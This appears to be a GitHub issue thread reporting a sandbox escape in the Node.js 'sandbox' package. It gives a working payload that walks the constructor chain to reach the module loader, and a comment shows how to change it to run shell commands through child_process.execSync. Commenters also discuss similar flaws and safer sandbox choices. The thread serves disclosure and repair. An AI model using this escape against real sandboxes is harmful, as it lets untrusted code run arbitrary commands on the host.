sandbox: Sandbox can be broken.
Using functions and constructors, its possible to escape the sandbox to get process, which can be used to get require that can be used for evil things like a reverse shell.
Code:
new Function("return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())")()("util").inspect("hi")
A, I hope, more readable (because of how hacky the thing is its difficult) version:
new Function("
return (
this.constructor.constructor('
return (this.process.mainModule.constructor._load
)'
)())"
)()
("util").inspect("hi")
About this issue
- Original URL
- State: open
- Created 8 years ago
- Reactions: 4
- Comments: 18 (1 by maintainers)
Commits related to this issue
- fixes Sandbox can be broken https://github.com/gf3/sandbox/issues/50 — committed to Bonuspunkt/sandbox by Bonuspunkt 8 years ago
i’ve been playing with compiling a javascript engine to wasm, which seems to be a good way to execute javascript securely:
and here’s the code example from the initial issue:
@sand1er the code does the following:
Escape the context by using constructors, because the objects still have constructors you can use to go out, because the constructor of
this
is Object and the constructor of Object is Function, you can use that Function to make a function that runs in a new context that has the process variableUse process variable to access require-like function (process.mainModule’s constructor is module that has _load which can do things similar )
Imports a module and runs commands. The example just imports utils and inspects
"hi"
Buy you could run commands by replacing
("util").inspect("hi")
with("child_process").execSync("id")
for example (to run the commandid
)You should think
new Function("return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())")()
as require.I found a very similar thing in another major sandbox (sandcastle) https://github.com/bcoe/sandcastle/issues/70 hopefully all the people who download this modules don’t use it for production or something. I basically ended up making my own sandbox… (which I don’t want to advertise here)
Feel free to ask more questions if you don’t understand something.
Thanks for the mention, @io4! (I’ll also mention @denysvitali for helping find the vulnerability 😉 )
I really suggest everyone not to roll your own solution, because it can be really difficult to sanitize JavaScript properly.
I do malware analysis on JavaScript files, and so far my solution of choice has been @patriksimek’s
vm2
. Indeed, it uses ES6 Proxies to prevent escaping the sandbox (so it requires a recent JS engine) and the nativevm
module in Node.js to create an empty execution context.Patrik, do you think
vm2
could be reasonably ported to browsers? If needed, I can lend a hand in doing the port.